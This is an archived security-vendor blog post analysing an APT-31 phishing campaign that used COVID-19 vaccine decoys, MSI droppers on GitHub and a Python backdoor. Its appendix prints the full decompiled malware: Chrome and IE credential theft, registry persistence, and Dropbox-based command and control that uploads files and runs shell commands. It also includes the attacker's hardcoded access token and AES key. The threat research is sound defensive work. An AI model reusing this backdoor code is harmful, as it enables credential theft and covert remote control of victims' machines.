{
	"id": "7ec8b3e9-9180-4c1e-8a1a-92e7cc550bde",
	"created_at": "2026-04-06T00:09:30.469305Z",
	"updated_at": "2026-04-10T03:37:22.814792Z",
	"deleted_at": null,
	"sha1_hash": "eb6e11ffef59ee30e7066039fd7bc435b1e03ca6",
	"title": "APT-31 Leverages COVID-19 Vaccine Theme | Zscaler Blog",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2401876,
	"plain_text": "APT-31 Leverages COVID-19 Vaccine Theme | Zscaler Blog\r\nBy Sudeep Singh, Sahil Antil\r\nPublished: 2020-10-27 · Archived: 2026-04-05 20:55:21 UTC\r\nRecently, Zscaler's ThreatLabZ team discovered several malicious MSI installer binaries that were hosted on\r\nattacker-controlled GitHub accounts and distributed in-the-wild in August 2020. These MSI binaries dropped and\r\ndisplayed decoy content using a theme around a COVID-19 vaccine as a social engineering technique.\r\nAfter further analysis of these MSI binaries, we gathered sufficient intel from the code base and attack flow to\r\ncorrelate it to the Chinese state-sponsored threat actor APT 31. In this blog, we will share details of the attack\r\nflow, threat attribution, correlation between various instances of attacks by this threat actor, and an in-depth\r\ntechnical analysis of the payloads involved. We will conclude our analysis by sharing indicators of compromise\r\n(IOCs), useful metadata, and the complete decompiled Python script, which was the main payload involved in\r\nthese attacks.\r\nDistribution strategy\r\nThe threat actor in this case leverages legitimate online services end-to-end in the infection chain in order to blend\r\nin with benign traffic and evade network security controls.\r\nThe infection chain starts with an email in which the victim receives a download link that fetches the first-stage\r\ndownloader. As we found in our analysis, this first-stage downloader is responsible for fetching a malicious MSI\r\nfile hosted on an attacker-controlled GitHub page. This MSI file is downloaded and executed on the endpoint. As\r\na result, a malicious Python-compiled binary is dropped on the file system, which uses the Dropbox API for\r\ncommand-and-control (C\u0026C) communication. Based on the metadata of the dropped binary, we observed that\r\nattackers were spoofing legitimate application names related to popular online services such as\r\nMicrosoft OneDrive.\r\nWhile we did not obtain the first-stage downloader for this attack, we were able to reconstruct the attack flow\r\nbased on the tactics, techniques, and procedures (TTPs) used by this threat actor in the past with a similar attack\r\nflow.\r\nFigure 1 shows the entire reconstructed attack flow.\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 1 of 28\n\nFigure 1: Reconstructed entire attack flow\r\nTo make the attack more convincing, attackers leveraged a social engineering technique by displaying decoy\r\ncontent to the user. This decoy content, as we describe in the later sections of the blog, is related to themes of\r\ninterest for the targeted victims.\r\nThreat attribution\r\nWe correlated all the instances of attacks described in this blog to the same threat actor based on the following\r\nindicators.\r\nThe attack flow is similar in all cases.\r\nThe use of legitimate attacker-controlled GitHub accounts to host malicious MSI files with spoofed file\r\nextensions.\r\nThe use of Dropbox API for command-and-control (C\u0026C) communication.\r\nThe MSI wrapper used to convert the EXE to MSI file format.\r\nPyInstaller used to compile the Python script to the final payload.\r\nDecompiled Python script using the same AES encryption key and sharing of code base.\r\nThe name of artifacts such as Windows Run registry key used to create persistence on the machine.\r\nIn October 2020, Google’s Threat Analysis Group (TAG) attributed an attack using a similar payload to APT-31 in\r\nits report here. While Google’s report did not share any technical analysis details for the payload, we were able to\r\ncorrelate the codebase to the Python-compiled binary highlighted by them. All the indicators mentioned above\r\nwere shared by the samples in our report.\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 2 of 28\n\nUpon further research, we discovered a report of an attack using Hong Kong pro-democracy protest themes in\r\nOctober 2019. There is considerable overlap between the malware distribution strategy and the payload indicators\r\nin this report and the samples we discovered.\r\nTherefore, we can confidently attribute the attack discussed in this blog to APT-31.\r\n \r\nDecoy contents\r\nIn this section, we share details of the decoy documents that were displayed to the user as a social engineering\r\ntechnique as the malicious payload executed in the background.\r\nMD5 hash of MSI file: 077ebc3535b38742307ef1c9e3f95222\r\nDecoy Filename: PAPER-COVID-19-Vaccine-Strategy.pdf\r\nFigure 2 shows the contents of this decoy document, which discusses a COVID-19 vaccine strategy specifically\r\nfor New Zealand government authorities. Threat actors obtained the original source of this document here.\r\nFigure 2: Decoy document related to the New Zealand government's COVID-19 vaccine strategy \r\nMD5 hash of MSI file: f3896d4a29b4a2ea14ea8a7e2e500ee5\r\nDecoy Filename: covid_19_vaccines_final.pdf\r\nFigure 3 shows the contents of this document, which describes various initiatives related to COVID-19 vaccines.\r\nIt pretends to be from the “Treatment Action Group.”\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 3 of 28\n\nFigure 3: Contents of the decoy document (from \"Treatment Action Group\").\r\nMD5 hash of MSI file: b4112b0700be2343422c759f5dc7bb8b\r\nDecoy Filename: FINAL__-COVID-Vaccine-Letter.pdf\r\nFigure 4 shows the contents of a document that pretends to be from the National Indian Health Board and\r\ndiscusses the COVID-19 vaccine distribution with a focus on pandemic relief packages.\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 4 of 28\n\nFigure 4: Contents of vaccine distribution document which pretends to be from the National Indian Health Board.\r\nMD5 hash of MSI file: daa7045a5c607fc2ae6fe0804d493cea\r\nDecoy filename: 200709-The-Publics-Role-in-COVID-19-Vaccination.pdf\r\nFigure 5 shows the contents of a document that pretends to be from a working group involving John Hopkins\r\nBloomberg School of Public Health and Texas State Anthropology discussing the public’s role in the COVID-19\r\nvaccination.\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 5 of 28\n\nFigure 5: Decoy document related to the public's role in a COVID-19 vaccination\r\n \r\nTechnical analysis\r\nSince there are multiple stages involved in the infection chain, we will describe each component in detail in this\r\nsection.\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 6 of 28\n\nMSI file\r\nFor the purpose of technical analysis, we will consider the MSI file with MD5 hash:\r\nf3896d4a29b4a2ea14ea8a7e2e500ee5\r\nMSI is an installer package file format used by Microsoft Windows. Microsoft Windows provides an msiexec\r\nutility that provides the means to install, modify, and perform operations on MSI files.\r\nThe threat actor in this case hosted the MSI file on GitHub using a spoofed file extension to look like a PDF. Due\r\nto the use of this fake file extension (*.pdf) and the intel we gathered about this threat actor from previous tactics,\r\ntechniques, and procedures (TTPs) in the report, we concluded that there was a first-stage payload involved that\r\nwas used to fetch the MSI file from GitHub and execute it using the msiexec.exe command-line utility.\r\nIn this threat actor's 2019 activity, an LNK file was used to fetch the MSI binary from GitHub and execute it using\r\nthe following command line:\r\nC:\\Windows\\System32\\msiexec.exe  /q /i\r\nIt is worth noting that in 2019, this actor used a fake file extension (*.png) for the MSI binary hosted on the\r\nattacker-controlled GitHub account.\r\nBased on this similarity, we are confident that a first-stage payload was involved that downloads and executes the\r\nMSI files.\r\nAll the MSI files were created using MSI Wrapper software, which helps to convert an executable file to an MSI\r\nfile. With an MSI Wrapper, you can include other files in the same MSI package and execute them along with the\r\nmain executable.\r\nFigure 6 shows the MSI Wrapper flash screen displayed to the user upon execution.\r\nFigure 6: MSI Wrapper flash screen displayed to the user.\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 7 of 28\n\nUpon execution, the MSI binary drops and executes the main payload, which is a python-compiled binary and also\r\nopens the dropped decoy PDF file which is displayed to the user.\r\n \r\nPython-compiled binary\r\nThe MSI file described above will drop a Python-compiled binary in the Appdata\\Roaming directory, which is\r\nused to perform further malicious activities.\r\nMD5 hash: bd26122b29ece6ce5abafb593ff7b096\r\nFilename: OneDrive.exe\r\nFor the purpose of social engineering, the threat actor chose file names related to legitimate online services,\r\nincluding Microsoft OneDrive. In a few instances, we observed the use of file names resembling McAfee’s\r\nendpoint security product. Even the file icons for these binaries are selected to masquerade as the corresponding\r\nlegitimate applications. \r\nSince this binary used the PyInstaller packager to compile the Python script to a standalone executable, we can\r\nextract the compiled Python script (*.pyc) from this package and use a decompiling tool such as uncomplye6 to\r\ndecompile its contents.\r\nThe complete decompiled script is included in Appendix I.\r\nBelow are some of the key functionalities of the binary.\r\n1. Check and use the proxy configuration: Check if the proxy is configured using registry value “ProxyEnable”\r\nwhich is located under registry key “Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings”. If\r\nsuccessful then the proxy server information is obtained using the registry value “ProxyServer” under the same\r\nregistry key. Later this proxy server is used for all the C\u0026C communication.\r\n2. Browser credential stealing: Capability to steal credentials (username and password) from the installed\r\nbrowsers, Microsoft Internet Explorer (MSIE), and Google Chrome browser.\r\nFigures 7 and 8 show the code sections responsible for stealing the credentials from MSIE and Chrome browser\r\nrespectively.\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 8 of 28\n\nFigure 7: Code section used to steal MSIE credentials.\r\nFigure 8: Code section used to steal Chrome browser credentials.\r\n3. Persistence: Creates a Windows RUN registry key for persistence. The name of the key is: \"Dropbox Update\r\nSetup\". This name was consistent in all the samples. This key points to the location of the Python-compiled binary\r\nin the %appdata% directory to ensure that it is started automatically each time the system is rebooted.\r\n4. Bot identifier generation: Generates a unique ID (uuid) for the machine, which is used to register the bot with\r\nthe attacker's C\u0026C server.\r\nuniqueid = str(uuid.uuid5(uuid.NAMESPACE_DNS, str(uuid.getnode())))\r\n5. Registration of bot: Collects the following information from the machine to register the bot with the\r\nC\u0026C server.\r\nSystem information - Details of processor architecture.\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 9 of 28\n\nCurrent timestamp - Format: %Y-%m-%d %H:%M:%S\r\nSystem name\r\nUsername of the machine\r\nCollects this information in JSON format, AES encrypts it and sends it to the attacker's server using Dropbox API.\r\n6. Command-and-control activities: After registering the bot with attacker's server, it will check for new jobs by\r\nquerying the Dropbox API endpoint: https://api.dropboxapi.com/2/files/job\r\nThere are three main commands supported in the script:\r\na) upload\r\nb) download\r\nc) cmd: A system command which needs to be executed on the endpoint. Python script will execute this using\r\nsubprocess.Popen()\r\nThe results will be stored in a JSON format, AES-encrypted and sent as an attachment using the Dropbox API.\r\nJSON format: {u'sys': getSysinfo(), u'date': getdate(), u'pcname': getComputername(), u'user': getUser(), u'file':\r\nself.attachment, u'msg': self.text}\r\nHere, text indicates the output of the command executed on the endpoint.\r\nThe filename format used is: back###.txt\r\nZscaler Cloud Sandbox detection\r\nFigure 9 shows the sandbox detection for the final payload which is a Python-compiled binary.\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 10 of 28\n\nFigure 9: Zscaler Cloud Sandbox detection.\r\nConclusion\r\nThe threat actor, APT-31, quickly leverages current themes, such as COVID-19, or political themes of interest to\r\nthe victim as a social engineering technique to infect their machines. By abusing legitimate services such as\r\nGitHub, Google Drive, and Dropbox in the infection chain, end-to-end, this threat actor manages to evade network\r\nsecurity solutions.\r\nAs always, users should be cautious when receiving emails out of the blue, even if those emails appear to\r\nbe related to something you are interested in, such as information about a COVID-19 vaccine. \r\nThe Zscaler ThreatLabZ team will continue to monitor this campaign, as well as others, to help keep our\r\ncustomers safe.\r\nMITRE ATT\u0026CK table\r\nID Tactic Technique\r\nT1566.002 Spearphishing Link Email body contains link to attacker hosted file\r\nT1204.002 User Execution: Malicious File User downloads and open the attacker hosted file\r\nT1059.003 Windows command shell Executes the commands fetched from C2\r\nT1140\r\nDeobfuscate/Decode Files or\r\nInformation\r\nStrings and other data are obfuscated in the payload\r\nT1547.001 Registry Run Keys/Startup Folder Create Run registry key  for persistence\r\nT1555.003 Credentials from Web Browsers Steals credentials from Explorer and Chrome browser\r\nT1082 System Information Discovery Sends processor architecture and computer name\r\nT1083 File and Directory Discovery Upload file from the victim machine\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 11 of 28\n\nT1033 System Owner/User Discovery Sends the username of the current logged in user\r\nT1124 System Time Discovery Sends the system current time\r\nT1005 Data from Local System Upload file from victim machine\r\nT1132.001 Standard Encoding Uses AES encryption for c2 communication\r\nT1090.001 Internal Proxy\r\nUses user configured proxy information from registry\r\nif available\r\nT1567.002 Exfiltration to Cloud Storage Data is uploaded to dropbox via api\r\nIndicators of Compromise\r\nHost-based indicators:\r\nMD5 Hashes of MSI files\r\n077ebc3535b38742307ef1c9e3f95222\r\nf3896d4a29b4a2ea14ea8a7e2e500ee5\r\nb4112b0700be2343422c759f5dc7bb8b\r\ndaa7045a5c607fc2ae6fe0804d493cea\r\n3347a1409f0236904beaceba2c8c7d56\r\nMD5 Hashes of Python-compiled binaries\r\nbd26122b29ece6ce5abafb593ff7b096\r\nfc4995e931f0ff717fe6a6189f07af64\r\nDropped Python-compiled binary file names\r\nOneDrive.exe\r\nsiHostx64.exe\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 12 of 28\n\nDropped decoy file names\r\nmcafee_trial_setup_433.0207.3919_key.exe\r\nPAPER-COVID-19-Vaccine-Strategy.pdf\r\ncovid_19_vaccines_final.pdf\r\nFINAL__-COVID-Vaccine-Letter.pdf\r\n200709-The-Publics-Role-in-COVID-19-Vaccination.pdf\r\nLNK file metadata analysis\r\n# This LNK was used by the threat actor in 2019\r\nLNK file MD5 hash: 817837e0609b5bdade503428dd17514e\r\n# LNK file was generated inside a VMWare virtual machine by the attacker\r\n# These details were extracted from the LNK file using the LECmd tool.\r\nTracker database block\r\nMachine ID: desktop-fe0haua\r\nMAC Address: 00:0c:29:51:de:79\r\nMAC Vendor: VMWARE\r\nCreation: 2019-10-29 02:05:30\r\nNetwork-based indicators\r\nGithub URL hosting MSI file:\r\nhxxps://github.com/yandexmcf1/rnicrosoft/raw/974aaa531eeb301762e486c3a120103f09a3b194/PAPER-COVID-19-Vaccine-Strategy.pdf\r\nhxxps://raw.githubusercontent.com/protonshshll/run/master/siHost64.png\r\nAttacker-controlled Github account names:\r\nyandexmcf1\r\nprotonshshll\r\nReferences\r\nhttps://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 13 of 28\n\nhttps://redalert.nshc.net/2019/12/03/threat-actor-targeting-hong-kong-activists/\r\nAppendix 1\r\nPython decompiled code\r\n# The decompiled Python code is consistent among all the samples. The only change we observed was in the\r\naccess token. Even the AES encryption key is shared between all the samples.\r\nimport requests, json, win32cred, sqlite3, win32crypt, subprocess, sys, os, threading, time, platform, uuid, base64,\r\ntime\r\nfrom Crypto import Random\r\nfrom Crypto.Cipher import AES\r\nfrom _winreg import *\r\ntime.sleep(480)\r\naccess_token = 'XAdmrYKoIiAAAAAAAAAADSEB3W3JCY6-pc1tD0zTp2upliDsO9vNrjfjIDJae_Ii'\r\napi_url = 'https://api.dropboxapi.com/2/files/'\r\ncontent_url = 'https://content.dropboxapi.com/2/files/'\r\nrespath = '/res'\r\njobpath = '/job'\r\nrespath_s = '/res/'\r\njobpath_s = '/job/'\r\nproxies = {}\r\nuniqueid = str(uuid.uuid5(uuid.NAMESPACE_DNS, str(uuid.getnode())))\r\nBS = 16\r\npad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)\r\nunpad = lambda s: s[0:-ord(s[(-1)])]\r\nclass AESCipher:\r\n    def __init__(self):\r\n        self.key = 'ApmcJue1570368JnxBdGetr*^#ajLsOw'\r\n    def encrypt(self, raw):\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 14 of 28\n\nraw = pad(raw)\r\n        iv = Random.new().read(AES.block_size)\r\n        cipher = AES.new(self.key, AES.MODE_CBC, iv)\r\n        return base64.b64encode(iv + cipher.encrypt(raw))\r\n    def decrypt(self, enc):\r\n        enc = base64.b64decode(enc)\r\n        iv = enc[:16]\r\n        cipher = AES.new(self.key, AES.MODE_CBC, iv)\r\n        return unpad(cipher.decrypt(enc[16:]))\r\naesciper = AESCipher()\r\nclass regthread(threading.Thread):\r\n    def __init__(self):\r\n        threading.Thread.__init__(self)\r\n        self.tempdir = os.getenv('AppData')\r\n        self.fileName = sys.argv[0]\r\n        self.regpath = os.path.join(self.tempdir, os.path.basename(self.fileName))\r\n        self.runs = 'Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'\r\n        self.services = 'Dropbox Update Setup'\r\n        self.daemon = False\r\n        self.start()\r\n    def run(self):\r\n        os.popen('copy %s %s /y' % (self.fileName, self.tempdir))\r\n        key = OpenKey(HKEY_CURRENT_USER, self.runs)\r\n        while True:\r\n            runkey = []\r\n            try:\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 15 of 28\n\ni = 0\r\n                while True:\r\n                    subkey = EnumValue(key, i)\r\n                    runkey.append(subkey[0])\r\n                    i += 1\r\n            except Exception as e:\r\n                pass\r\n            if self.services not in runkey:\r\n                time.sleep(10)\r\n                try:\r\n                    key = OpenKey(HKEY_CURRENT_USER, self.runs, 0, KEY_ALL_ACCESS)\r\n                    SetValueEx(key, self.services, 0, REG_SZ, self.regpath)\r\n                    key.Close()\r\n                except Exception as e:\r\n                    pass\r\n            time.sleep(10)\r\ndef get_proxyserver():\r\n    try:\r\n        aReg = ConnectRegistry(None, HKEY_CURRENT_USER)\r\n        aKey = OpenKey(aReg, 'Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings')\r\n        subCount, valueCount, lastModified = QueryInfoKey(aKey)\r\n        for i in range(valueCount):\r\n            n, v, t = EnumValue(aKey, i)\r\n            if n == 'ProxyServer':\r\n                if ';' in v:\r\n                    slist = v.split(';')\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 16 of 28\n\nfor i in slist:\r\n                        if 'http=' in i:\r\n                            server = i.split('=')[1]\r\n                        else:\r\n                            server = ''\r\n                elif '=' in v:\r\n                    server = v.split('=')[1]\r\n                else:\r\n                    server = v\r\n        CloseKey(aKey)\r\n        return server\r\n    except Exception as e:\r\n        return ''\r\n    return\r\ndef check_proxy():\r\n    try:\r\n        aReg = ConnectRegistry(None, HKEY_CURRENT_USER)\r\n        aKey = OpenKey(aReg, 'Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings')\r\n        subCount, valueCount, lastModified = QueryInfoKey(aKey)\r\n        for i in range(valueCount):\r\n            n, v, t = EnumValue(aKey, i)\r\n            if n == 'ProxyEnable':\r\n                isproxy = v\r\n        CloseKey(aKey)\r\n        return isproxy\r\n    except Exception as e:\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 17 of 28\n\nreturn 0\r\n    return\r\ndef get_ie_creds(server):\r\n    proxycreds = []\r\n    if ':' in server:\r\n        server = server.split(':')[0]\r\n    try:\r\n        creds = win32cred.CredEnumerate(None, 1)\r\n        for i in creds:\r\n            if server in i['TargetName']:\r\n                user = i['UserName']\r\n                passwd = i['CredentialBlob'].replace('\\x00', '')\r\n                dic = {user: passwd}\r\n                proxycreds.append(dic)\r\n        return proxycreds\r\n    except Exception as e:\r\n        return proxycreds\r\n    return\r\ndef get_chrome_creds(server):\r\n    path = os.getenv('APPDATA') + '\\\\..\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data'\r\n    creds = []\r\n    if ':' in server:\r\n        server = server.split(':')[0]\r\n    try:\r\n        conn = sqlite3.connect(path)\r\n        cursor = conn.cursor()\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 18 of 28\n\ncursor.execute('SELECT action_url, username_value, password_value FROM logins')\r\n        data = cursor.fetchall()\r\n        if len(data) \u003e 0:\r\n            for result in data:\r\n                if result[0] == server:\r\n                    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]\r\n                    if password:\r\n                        dic = {result[1]: password}\r\n                        creds.append(dic)\r\n        return creds\r\n    except Exception as e:\r\n        return creds\r\n    return\r\ndef check_cred(server, creds):\r\n    global proxies\r\n    pro = {}\r\n    url = 'https://www.dropbox.com'\r\n    if server:\r\n        if creds:\r\n            for userdic in creds:\r\n                for user in userdic:\r\n                    pro['http'] = 'http://' + user + ':' + userdic[user] + '@' + server\r\n                    pro['https'] = 'https://' + user + ':' + userdic[user] + '@' + server\r\n                    r = requests.get(url, proxies=pro)\r\n                    if r.status_code == 200:\r\n                        proxies = pro\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 19 of 28\n\nreturn 1\r\n        else:\r\n            pro['http'] = 'http://' + server\r\n            pro['https'] = 'https://' + server\r\n            r = requests.get(url, proxies=pro)\r\n            if r.status_code == 200:\r\n                proxies = pro\r\n                return 1\r\n    return 0\r\ndef do_post(url, headers, data, proxy):\r\n    if proxy:\r\n        r = requests.post(url, headers=headers, data=data, proxies=proxies)\r\n        if 'download' in url:\r\n            return r.content\r\n        if 'upload' in url:\r\n            return r.content\r\n        return json.loads(r.content)\r\n    else:\r\n        r = requests.post(url, headers=headers, data=data)\r\n        if 'download' in url:\r\n            return r.content\r\n        if 'upload' in url:\r\n            return r.content\r\n        return json.loads(r.content)\r\ndef search(path, query, proxy):\r\n    headers = {'Authorization': 'Bearer ' + access_token,\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 20 of 28\n\n'Content-Type': 'application/json'}\r\n    data = {'path': path,\r\n       'query': query,\r\n       'mode': {'.tag': 'filename'}}\r\n    r = do_post(api_url + 'search', headers, json.dumps(data), proxy)\r\n    return r\r\ndef download(filepath, proxy):\r\n    headers = {'Authorization': 'Bearer ' + access_token,\r\n       'Dropbox-API-Arg': '{\"path\":\"%s\"}' % filepath}\r\n    r = do_post(content_url + 'download', headers, '', proxy)\r\n    return r\r\ndef upload(data, filepath, proxy):\r\n    headers = {'Authorization': 'Bearer ' + access_token,\r\n       'Content-Type': 'application/octet-stream',\r\n       'Dropbox-API-Arg': '{\"path\":\"%s\"}' % filepath}\r\n    r = do_post(content_url + 'upload', headers, data, proxy)\r\n    return r\r\ndef delete(filepath, proxy):\r\n    headers = {'Authorization': 'Bearer XAdmrYKoIiAAAAAAAAAADSEB3W3JCY6-\r\npc1tD0zTp2upliDsO9vNrjfjIDJae_Ii',\r\n       'Content-Type': 'application/json'}\r\n    data = {'path': filepath}\r\n    r = do_post(api_url + 'delete', headers, json.dumps(data), proxy)\r\n    return r\r\nclass Download(threading.Thread):\r\n    def __init__(self, jobid, filepath, proxy):\r\n        threading.Thread.__init__(self)\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 21 of 28\n\nself.jobid = jobid\r\n        self.filepath = filepath\r\n        self.daemon = True\r\n        self.proxy = proxy\r\n        self.start()\r\n    def run(self):\r\n        try:\r\n            if os.path.exists(self.filepath) is True:\r\n                Sendmsg({u'cmd': u'download', u'res': u'Download file success...'}, self.proxy, self.jobid, self.filepath)\r\n            else:\r\n                Sendmsg({u'cmd': u'download', u'res': u'Path to file invalid'}, self.proxy, self.jobid)\r\n        except Exception as e:\r\n            Sendmsg({u'cmd': u'download', u'res': (u'Failed: {}').format(e)}, self.proxy, self.jobid)\r\nclass Upload(threading.Thread):\r\n    def __init__(self, jobid, dest, attachment, proxy):\r\n        threading.Thread.__init__(self)\r\n        self.jobid = jobid\r\n        self.dest = dest\r\n        self.attachment = attachment\r\n        self.daemon = True\r\n        self.proxy = proxy\r\n        self.start()\r\n    def run(self):\r\n        try:\r\n            file_content = download(jobpath_s + self.attachment, self.proxy)\r\n            fopen = open(self.dest, 'wb+')\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 22 of 28\n\nfopen.write(file_content)\r\n            fopen.close()\r\n            Sendmsg({u'cmd': u'upload', u'res': u'Upload file success ,saved to %s' % self.dest}, self.proxy, self.jobid)\r\n        except Exception as e:\r\n            Sendmsg({u'cmd': u'upload', u'res': (u'Upload file Failed: {}').format(e)}, self.proxy, self.jobid)\r\nclass execCmd(threading.Thread):\r\n    def __init__(self, command, jobid, proxy):\r\n        threading.Thread.__init__(self)\r\n        self.command = command\r\n        self.jobid = jobid\r\n        self.daemon = True\r\n        self.proxy = proxy\r\n        self.start()\r\n    def run(self):\r\n        try:\r\n            proc = subprocess.Popen(self.command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\r\nstdin=subprocess.PIPE)\r\n            stdout_value = unicode(proc.stdout.read(), errors='ignore')\r\n            stdout_value += unicode(proc.stderr.read(), errors='ignore')\r\n            Sendmsg({'cmd': self.command, 'res': stdout_value}, self.proxy, jobid=self.jobid)\r\n        except Exception as e:\r\n            pass\r\ndef getdate():\r\n    return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\r\ndef getUser():\r\n    return os.environ.get('USERNAME')\r\ndef getComputername():\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 23 of 28\n\nreturn os.environ.get('COMPUTERNAME')\r\ndef getSysinfo():\r\n    return ('{}-{}').format(platform.platform(), os.environ['PROCESSOR_ARCHITECTURE'])\r\ndef uploadfiles(filename, proxy):\r\n    try:\r\n        if search(respath, os.path.basename(filename), proxy)['matches']:\r\n            delete(respath_s + os.path.basename(filename), proxy)\r\n        fopen = open(filename, 'rb').read()\r\n        upload(fopen, respath_s + os.path.basename(filename), proxy)\r\n    except Exception as e:\r\n        pass\r\ndef msgparse(path, proxy):\r\n    try:\r\n        msg = download(path, proxy)\r\n        return json.loads(aesciper.decrypt(msg))\r\n    except Exception as e:\r\n        return False\r\nclass Sendmsg(threading.Thread):\r\n    def __init__(self, text, proxy, jobid='', attachment=''):\r\n        threading.Thread.__init__(self)\r\n        self.text = text\r\n        self.jobid = jobid\r\n        self.attachment = attachment\r\n        self.proxy = proxy\r\n        self.daemon = True\r\n        self.start()\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 24 of 28\n\ndef run(self):\r\n        filename = uniqueid\r\n        filename = (u'back#{}#{}#.txt').format(uniqueid, self.jobid)\r\n        file_content = json.dumps({u'sys': getSysinfo(), u'date': getdate(), u'pcname': getComputername(), u'user':\r\ngetUser(), u'file': self.attachment, u'msg': self.text})\r\n        if self.attachment:\r\n            if os.path.exists(self.attachment) == True:\r\n                file_content = json.dumps({u'sys': getSysinfo(), u'date': getdate(), u'pcname': getComputername(),\r\nu'user': getUser(), u'file': os.path.basename(self.attachment), u'msg': self.text})\r\n                uploadfiles(self.attachment, self.proxy)\r\n        while True:\r\n            try:\r\n                if search(respath, filename, self.proxy)['matches']:\r\n                    delete(respath_s + filename, self.proxy)\r\n                upload(aesciper.encrypt(file_content), respath_s + filename, self.proxy)\r\n                break\r\n            except Exception as e:\r\n                time.sleep(10)\r\ndef checkJobs(proxy):\r\n    while True:\r\n        try:\r\n            joblist = search(jobpath, uniqueid, proxy)\r\n            for job in joblist['matches']:\r\n                msg = msgparse(job['metadata']['path_lower'], proxy)\r\n                jobid = job['metadata']['path_lower'].split('#')[2]\r\n                if msg:\r\n                    cmd = msg['cmd']\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 25 of 28\n\narg = msg['arg']\r\n                    if cmd == 'download':\r\n                        Download(jobid, arg, proxy)\r\n                    elif cmd == 'upload':\r\n                        Upload(jobid, arg, msg['file'], proxy)\r\n                    elif cmd == 'cmd':\r\n                        execCmd(arg, jobid, proxy)\r\n                try:\r\n                    delete(job['metadata']['path_lower'], proxy)\r\n                except Exception as e:\r\n                    pass\r\n            time.sleep(10)\r\n        except Exception as e:\r\n            time.sleep(10)\r\ndef call_online(proxy):\r\n    info = {u'sys': getSysinfo(), u'date': getdate(), u'pcname': getComputername(), u'user': getUser()}\r\n    filename = ('online#{}#.txt').format(uniqueid)\r\n    file_content = json.dumps({u'sys': getSysinfo(), u'date': getdate(), u'pcname': getComputername(), u'user':\r\ngetUser(), u'msg': info})\r\n    while True:\r\n        try:\r\n            if search(respath, filename, proxy)['matches']:\r\n                delete(respath_s + filename, proxy)\r\n            upload(aesciper.encrypt(file_content), respath_s + filename, proxy)\r\n            break\r\n        except Exception as e:\r\n            time.sleep(10)\r\nhttps://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online\r\nPage 26 of 28\n\ndef startbot(proxy):\r\n    regthread()\r\n    call_online(proxy)\r\n    try:\r\n        checkJobs(proxy)\r\n    except Exception as e:\r\n        pass\r\nif __name__ == '__main__':\r\n    isproxy = check_proxy()\r\n    if isproxy:\r\n        try:\r\n            server = get_proxyserver()\r\n            ie_creds = get_ie_creds(server)\r\n            if ie_creds:\r\n                flag = check_cred(server, ie_creds)\r\n                if flag:\r\n                    startbot(isproxy)\r\n                else:\r\n                    startbot(not 